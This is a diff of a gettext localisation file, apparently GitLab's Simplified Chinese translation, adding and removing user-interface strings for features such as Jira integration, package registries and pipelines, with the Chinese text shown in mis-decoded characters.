@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr "议题å‘布在状æ€é¡µé¢ä¸Šã€‚"
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr "议题更新失败"
@@ -16714,6 +17148,9 @@ msgstr "议题由%{name}以%{reason}原因关闭"
msgid "Issue weight"
msgstr "议题æƒé‡"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr "年龄"
@@ -16801,6 +17238,9 @@ msgstr "议题å¯ä»¥æ˜¯ç¼ºé™·ï¼Œä»»åŠ¡æˆ–è¦è®¨è®ºçš„想法。此外,å¯ä»¥é€š
msgid "Issues closed"
msgstr "关闭议题"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "议题评论,åˆå¹¶è¯·æ±‚的差异和评论,标记,里程碑,代ç ç‰‡æ®µå’Œå…¶ä»–项目实体"
@@ -16864,6 +17304,9 @@ msgstr "ç›®å‰ä¼¼ä¹Žæ— å¯ç”¨æ•°æ®æ¥è¿›è¡Œä»£ç è¦†ç›–率计算"
msgid "It's you"
msgstr "你自己"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr "迭代"
@@ -16951,6 +17394,9 @@ msgstr "%{user_link}在%{project_link}%{branch}中的%{entity_link}中æåŠæ­¤è
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr "å¯ç”¨Jira议题"
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} 事件已ç¦ç”¨ã€‚"
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr "Jira project key"
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr "此功能需è¦é«˜çº§è®¡åˆ’。"
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr "æœåŠ¡å™¨ç‰ˆæœ¬è¯·ä½¿ç”¨å¯†ç , 云版本请使用API令牌"
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr "æœåŠ¡å™¨ç‰ˆæœ¬è¯·ä½¿ç”¨ç”¨æˆ·å,云版本请使用电å­é‚®ä»¶"
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "用户å或电å­é‚®ä»¶"
@@ -17260,15 +17724,6 @@ msgstr "å¿«æ·é”®"
msgid "KeyboardKey|Ctrl+"
msgstr "Ctrl +"
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr "全局快æ·é”®"
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr "开关性能æ "
-
msgid "Keys"
msgstr "é”®"
@@ -17359,6 +17814,9 @@ msgstr "标记æ“作下拉èœå•"
msgid "Label lists show all issues with the selected label."
msgstr "标记列表显示具有所选标记的所有议题。"
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "标记已创建"
@@ -17561,6 +18019,9 @@ msgstr "了解如何å¯ç”¨åŒæ­¥"
msgid "Learn more"
msgstr "进一步了解"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr "进一步了解%{username}"
@@ -17952,6 +18413,9 @@ msgstr "将Prometheus监控链接到 GitLab。"
msgid "Link copied"
msgstr "链接已å¤åˆ¶"
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr "链接标题"
@@ -18021,6 +18485,9 @@ msgstr "加载更多用户"
msgid "Loading"
msgstr "加载中"
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "加载群组æˆå‘˜çš„贡献统计信æ¯"
@@ -18195,6 +18662,9 @@ msgstr "管ç†å…¨éƒ¨é€šçŸ¥"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "管ç†å¯ä»¥å°†GitLab用作OAuthæ供程åºçš„应用程åºï¼Œä»¥åŠæ‚¨å·²æŽˆæƒä½¿ç”¨æ‚¨çš„å¸æˆ·çš„应用程åºã€‚"
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "管ç†æ‚¨æŽˆæƒä½¿ç”¨å¸æˆ·çš„应用程åºã€‚"
@@ -18234,6 +18704,9 @@ msgstr "Manifest文件导入"
msgid "Manifest import"
msgstr "Manifest文件导入"
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "无法ä¿å­˜è®®é¢˜çš„顺åº"
@@ -18258,9 +18731,6 @@ msgstr "标记为è‰ç¨¿"
msgid "Mark as ready"
msgstr "标记为就绪"
-msgid "Mark as resolved"
-msgstr "标记为已解决"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "将此议题标记为å¦ä¸€ä¸ªè®®é¢˜çš„é‡å¤"
@@ -18336,6 +18806,9 @@ msgstr "未找到匹é…;请å°è¯•æ›´æ”¹æŸ¥è¯¢æ¡ä»¶ã€‚"
msgid "MattermostService|Add to Mattermost"
msgstr "添加到Mattermost"
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr "命令触å‘è¯"
@@ -18354,14 +18827,11 @@ msgstr "å“应图标"
msgid "MattermostService|Response username"
msgstr "å“应用户å"
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr "设置此æœåŠ¡åŽï¼Œè¯·è¾“入以下内容,查看Mattermost中å¯ç”¨å‘½ä»¤çš„列表:"
-
msgid "MattermostService|Suggestions:"
msgstr "建议:"
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
-msgstr "æ­¤æœåŠ¡å…许用户通过在Mattermost中输入斜æ å‘½ä»¤æ¥å¯¹è¯¥é¡¹ç›®æ‰§è¡Œå¸¸è§æ“作。"
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
+msgstr ""
msgid "Max 100,000 events"
msgstr "最多100,000个事件"
@@ -18435,6 +18905,9 @@ msgstr "最大批é‡è¯·æ±‚大å°(MiB)"
msgid "Maximum capacity"
msgstr "最大容é‡"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr "æ¯ä¸ªç´¢å¼•æ“作的Elasticsearch批é‡è¯·æ±‚的最大并å‘性。"
@@ -18537,9 +19010,6 @@ msgstr "æˆå‘˜"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr "æˆå‘˜å¯ç”±é¡¹ç›®çš„%{i_open}维护者%{i_close} 或 %{i_open}所有者%{i_close}添加"
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr "%{group}çš„æˆå‘˜ä¹Ÿå¯ä»¥åˆå¹¶åˆ°æ­¤åˆ†æ”¯: %{branch}"
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr "%{group}çš„æˆå‘˜ä¹Ÿå¯ä»¥æŽ¨é€åˆ°æ­¤åˆ†æ”¯: %{branch}"
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr "%{strong_open}%{project_name}%{strong_close}çš„æˆå‘˜"
-
msgid "Members of a group may only view projects they have permission to access"
msgstr "群组æˆå‘˜åªèƒ½æŸ¥çœ‹ä»–们有æƒè®¿é—®çš„项目"
@@ -18684,9 +19151,6 @@ msgstr "åˆå¹¶è¯·æ±‚"
msgid "Merge Request Analytics"
msgstr "åˆå¹¶è¯·æ±‚分æž"
-msgid "Merge Request Approvals"
-msgstr "åˆå¹¶è¯·æ±‚核准"
-
msgid "Merge Request Commits"
msgstr "åˆå¹¶è¯·æ±‚æ交"
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "åˆå¹¶è¯·æ±‚批准"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr "åˆå¹¶è¯·æ±‚核准å…许您设置必è¦æ ¸å‡†çš„æ•°é‡ï¼Œå¹¶é¢„定义项目中æ¯ä¸ªåˆå¹¶è¯·æ±‚的核准者列表。"
-
msgid "Merge request dependencies"
msgstr "åˆå¹¶è¯·æ±‚ä¾èµ–"
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] "里程碑"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "当å‰è®¸å¯è¯æ— æ³•ä½¿ç”¨é‡Œç¨‹ç¢‘列表"
@@ -19499,6 +19963,12 @@ msgstr "é•œåƒå·²æˆåŠŸç¦ç”¨ã€‚"
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "åªæœ‰åœ¨æ‰€é€‰ç¾¤ç»„或用户的计划中包å«é•œåƒåŠŸèƒ½æ—¶ï¼Œæ‰èƒ½ä½¿ç”¨ã€‚"
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr "缺少GitHubçš„OAuthé…置。"
@@ -19562,6 +20032,9 @@ msgstr "更多"
msgid "More Information"
msgstr "更多信æ¯"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "更多Slack命令"
@@ -19697,6 +20170,9 @@ msgstr "ä¸é€‚用"
msgid "Name"
msgstr "å称"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr "å称已被使用"
@@ -20011,6 +20487,15 @@ msgstr "ç«¯å£ %{ports}"
msgid "NetworkPolicies|ports/protocols"
msgstr "端å£/åè®®"
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "从ä¸"
@@ -20057,9 +20542,6 @@ msgstr "新建Jira导入"
msgid "New Label"
msgstr "新标签"
-msgid "New Merge Request"
-msgstr "新建åˆå¹¶è¯·æ±‚"
-
msgid "New Milestone"
msgstr "新里程碑"
@@ -20225,6 +20707,9 @@ msgstr "预览版"
msgid "Next commit"
msgstr "下一次æ交"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr "差异中的下一个文件"
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr "未é…置身份验è¯æ–¹æ³•ã€‚"
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr "没有å¯ç”¨çš„群组å¯ä»¥æ´¾ç”Ÿè¯¥é¡¹ç›®ã€‚"
@@ -20336,8 +20824,8 @@ msgstr "没有è¦æ˜¾ç¤ºçš„错误."
msgid "No estimate or time spent"
msgstr "无预计或已用时间"
-msgid "No file chosen"
-msgstr "未选定任何文件"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr "未找到文件钩å­ã€‚"
@@ -20387,6 +20875,9 @@ msgstr "未设定许å¯è¯ã€‚版æƒæ‰€æœ‰ã€‚"
msgid "No matches found"
msgstr "没有找到匹é…项"
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr "没有匹é…的标记"
@@ -20474,6 +20965,9 @@ msgstr "没有符åˆæ‚¨æœç´¢æ¡ä»¶çš„星标用户"
msgid "No start date"
msgstr "没有开始日期"
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "没有模æ¿"
@@ -20645,6 +21139,22 @@ msgstr "通知设置 - %{notification_title}"
msgid "Notification settings saved"
msgstr "通知设置已ä¿å­˜"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr "更改审核者åˆå¹¶è¯·æ±‚"
@@ -20759,6 +21269,15 @@ msgstr "Elasticsearch副本的数é‡"
msgid "Number of Elasticsearch shards"
msgstr "Elasticsearch分片数"
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "æ¯æ¬¡æ交的代ç è¡Œæ•°"
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr "管ç†é…置文件"
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr "按需扫æ"
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr "按需扫æ在DevOps周期之外è¿è¡Œï¼Œå¹¶åœ¨æ‚¨çš„项目中å‘现æ¼æ´žã€‚%{learnMoreLinkStart}了解更多%{learnMoreLinkEnd}"
-msgid "OnDemandScans|Run scan"
-msgstr "è¿è¡Œæ‰«æ"
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr "您å¯ä»¥è¿›è¡Œè¢«åŠ¨æ‰«æ或验è¯æ‚¨é€‰æ‹©çš„站点é…置中的目标
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr "您ä¸èƒ½å¯¹æœªéªŒè¯çš„网站上è¿è¡Œä¸»åŠ¨æ‰«æ。"
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr "å•Š~~, 确定å—?"
msgid "Open"
msgstr "开放中"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "打开所选项"
@@ -21153,9 +21660,6 @@ msgstr "在文件视图中打开"
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr "å¼€å¯çš„议题"
-
msgid "Open raw"
msgstr "打开原始文件"
@@ -21168,12 +21672,15 @@ msgstr "打开侧边æ "
msgid "Open: %{open}"
msgstr "å¼€å¯: %{open}"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
+msgstr ""
+
msgid "Opened"
msgstr "已打开"
-msgid "Opened %{epicTimeagoDate}"
-msgstr "å¼€å¯äºŽ%{epicTimeagoDate}"
-
msgid "Opened MRs"
msgstr "å¼€å¯çš„åˆå¹¶è¯·æ±‚"
@@ -21186,6 +21693,9 @@ msgstr "创建于"
msgid "Opens in a new window"
msgstr "打开一个新窗å£"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr "æ“作失败。请检查 Pod 日志 %{pod_name} 了解更多信æ¯ã€‚"
@@ -21237,6 +21747,9 @@ msgstr "æ“作"
msgid "Or you can choose one of the suggested colors below"
msgstr "或者您å¯ä»¥é€‰æ‹©ä¸‹é¢çš„建议颜色之一"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr "孤儿æˆå‘˜"
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr "添加Conan远端"
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "添加Nugetæº"
msgid "PackageRegistry|Add composer registry"
msgstr "添加composer注册表"
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr "å¤åˆ¶Conan命令"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr "å¤åˆ¶Conan安装命令"
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "å¤åˆ¶Maven XML"
@@ -21399,6 +21921,9 @@ msgstr "å¤åˆ¶Nuget设置命令"
msgid "PackageRegistry|Copy Pip command"
msgstr "å¤åˆ¶Pip命令"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "将其å¤åˆ¶å¹¶ç²˜è´´åˆ°æ‚¨çš„%{codeStart}pom.xml%{codeEnd}文件的%{codeStart}dependencies%{codeEnd}å—中。"
@@ -21450,6 +21975,9 @@ msgstr "通用"
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}.pypirc%{codeEnd}文件中。"
@@ -21474,9 +22002,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven命令"
-msgid "PackageRegistry|Maven XML"
-msgstr "Maven XML"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21513,15 +22038,42 @@ msgstr "PyPI"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr "æž„æˆ: %{recipe}"
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "删除软件包"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆç­›é€‰å™¨çš„任何结果"
@@ -21573,27 +22125,6 @@ msgstr "ç”±%{author}å‘布"
msgid "PackageRegistry|yarn command"
msgstr "yarn命令"
-msgid "PackageType|Composer"
-msgstr "Composer"
-
-msgid "PackageType|Conan"
-msgstr "Conan"
-
-msgid "PackageType|Generic"
-msgstr "通用"
-
-msgid "PackageType|Maven"
-msgstr "Maven"
-
-msgid "PackageType|NuGet"
-msgstr "NuGet"
-
-msgid "PackageType|PyPI"
-msgstr "PyPI"
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "软件包"
@@ -21831,11 +22362,20 @@ msgstr "Rugged调用"
msgid "PerformanceBar|SQL queries"
msgstr "SQL查询"
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "跟踪"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "æƒé™"
@@ -21915,8 +22455,8 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
-msgstr "CI/CD分æž"
+msgid "PipelineCharts|CI/CD Analytics"
+msgstr ""
msgid "PipelineCharts|Failed:"
msgstr "失败:"
@@ -22164,9 +22704,6 @@ msgstr "æ交"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr "无法获å–æµæ°´çº¿çŠ¶æ€ã€‚有关故障排除步骤,请å‚阅%{linkStart}文档%{linkEnd}。"
-msgid "Pipeline|Coverage"
-msgstr "覆盖率"
-
msgid "Pipeline|Created"
msgstr "已创建"
@@ -22185,6 +22722,9 @@ msgstr "现有分支å称或者标签"
msgid "Pipeline|Failed"
msgstr "失败"
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr "é”®"
@@ -22260,6 +22800,18 @@ msgstr "åœæ­¢æµæ°´çº¿ï¼ƒ%{pipelineId}å—?"
msgid "Pipeline|Tag name"
msgstr "标签å称"
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr "触å‘者"
@@ -22329,9 +22881,6 @@ msgstr "请接å—æœåŠ¡æ¡æ¬¾ä»¥ç»§ç»­ã€‚"
msgid "Please add a comment in the text area above"
msgstr "请在上é¢æ–‡æœ¬æ¡†æ·»åŠ è¯„论"
-msgid "Please add a list to your board first"
-msgstr "请先å‘看æ¿æ·»åŠ ä¸€åˆ—"
-
msgid "Please check the configuration file for this chart"
msgstr "请检查此图表的é…置文件"
@@ -22482,12 +23031,12 @@ msgstr "请在%{linkStart}此议题中%{linkEnd}分享您对%{featureName}çš„å
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "请填写验è¯ç ã€‚"
-
msgid "Please try again"
msgstr "请å†è¯•ä¸€æ¬¡"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "请输入%{phrase_code}以继续或关闭此对è¯æ¡†ä»¥å–消。"
@@ -22521,6 +23070,18 @@ msgstr "正在使用的Pod"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr "指å‘您需è¦çš„任何链接:文档,生æˆçš„二进制文件或其他相关æ料。这些å¯ä»¥æ˜¯æ‚¨çš„GitLab实例的内部或外部链接。ä¸å…许é‡å¤çš„URL。"
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr "预定义的推é€è§„则。"
@@ -22659,6 +23220,12 @@ msgstr "阻止项目派生到当å‰ç¾¤ç»„以外"
msgid "Prevent users from changing their profile name"
msgstr "ç¦æ­¢ç”¨æˆ·æ›´æ”¹é…置文件å称"
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr "å‰ä¸€ä¸ªäº§ç‰©"
msgid "Previous commit"
msgstr "上一次æ交"
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr "差异中的上一个文件"
@@ -22707,6 +23277,9 @@ msgstr "优先标记"
msgid "Prioritized label"
msgstr "优先标记"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "ç§æœ‰"
@@ -22965,8 +23538,8 @@ msgstr "作出了ç§æœ‰è´¡çŒ®"
msgid "Profiles|Main settings"
msgstr "主è¦è®¾ç½®"
-msgid "Profiles|No file chosen"
-msgstr "未选择文件"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "通知邮件"
@@ -23355,6 +23928,9 @@ msgstr "您已达到项目数é‡é™åˆ¶"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "登录åŽæ‰èƒ½æ˜Ÿæ ‡é¡¹ç›®"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "项目ID: %{project_id}"
@@ -23370,50 +23946,83 @@ msgstr "%{service_title}: 状æ€å…³é—­"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}:状æ€å¼€å¯"
-msgid "ProjectService|Event will be triggered by a push to the repository"
-msgstr "推é€åˆ°ä»“库时事件将被触å‘"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
-msgstr "创建/æ›´æ–°æ交时事件将被触å‘"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
-msgstr "ç§å¯†è®®é¢˜åˆ›å»º/æ›´æ–°/关闭时事件将被触å‘"
+msgid "ProjectService|Event triggered when a pipeline status changes."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
-msgstr "部署开始或完æˆæ—¶å°†è§¦å‘事件"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
-msgstr "åˆå¹¶è¯·æ±‚创建/æ›´æ–°/åˆå¹¶æ—¶äº‹ä»¶å°†è¢«è§¦å‘"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
-msgstr "当一个新标签被推é€åˆ°ä»“库时事件将被触å‘"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
-msgstr "新的唯一的警报记录时事件将被触å‘"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
-msgstr "当æµæ°´çº¿çŠ¶æ€å‘生å˜åŒ–时事件将被触å‘"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
-msgstr "wiki页é¢åˆ›å»º/更新时事件将被触å‘"
+msgid "ProjectService|Issue URL"
+msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
-msgstr "议题创建/æ›´æ–°/关闭时事件将被触å‘"
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
